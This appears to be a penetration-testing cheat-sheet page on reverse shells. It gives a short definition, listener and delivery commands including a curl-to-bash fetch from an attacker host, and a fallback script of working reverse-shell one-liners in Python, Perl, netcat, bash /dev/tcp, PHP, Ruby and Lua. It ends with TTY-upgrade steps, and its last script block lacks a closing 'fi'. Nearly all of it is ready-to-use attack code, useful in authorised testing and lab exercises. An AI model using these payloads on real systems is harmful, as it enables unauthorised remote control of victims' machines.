Skip to content

Reverse Shell

Description

A reverse shell is a shell session established on a connection that is initiated from a remote machine, not from the attacker’s host. Attackers who successfully exploit a remote command execution vulnerability can use a reverse shell to obtain an interactive shell session on the target machine and continue their attack.

Usage

python3 -m http.server 8000
nc -lvnp 9001 
curl 10.10.14.10:8000/shell.sh | bash;#
sed -i -e "s/\$IP/127.0.0.1/g" -e "s/\$PORT/4242/g" shell.sh

Script

if command -v python > /dev/null 2>&1; then
    python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("$IP",$PORT)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
    exit;
fi

if command -v python3 > /dev/null 2>&1; then
    python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("$IP",$PORT)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
    exit;
fi

if command -v perl > /dev/null 2>&1; then
    perl -e 'use Socket;$i="$IP";$p=$PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    exit;
fi

if command -v nc > /dev/null 2>&1; then
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $IP $PORT >/tmp/f
    exit;
fi

if command -v sh > /dev/null 2>&1; then
    /bin/sh -i >& /dev/tcp/$IP/$PORT 0>&1
    exit;
fi

if command -v php > /dev/null 2>&1; then
    php -r '$sock=fsockopen("$IP",$PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
    exit;
fi

if command -v ruby > /dev/null 2>&1; then
    ruby -rsocket -e'f=TCPSocket.open("$IP",$PORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
    exit;
fi

if command -v lua > /dev/null 2>&1; then
    lua -e "require('socket');require('os');t=socket.tcp();t:connect('$IP','$PORT');os.execute('/bin/sh -i <&3 >&3 2>&3');"
    exit;

Shell Upgrade

python -c 'import pty;pty.spawn("/bin/bash")'
[CTRL + Z]
stty raw -echo;fg
[ENTER (x2)]
export TERM=xterm
stty rows 33 cols 119
python3 -c 'import pty;pty.spawn("/bin/bash")'
[CTRL + Z]
stty raw -echo;fg
[ENTER (x2)]
export TERM=xterm
stty rows 33 cols 119
SHELL=/bin/bash script -q /dev/null
[CTRL + Z]
stty raw -echo;fg
[ENTER (x2)]
export TERM=xterm
stty rows 33 cols 119

References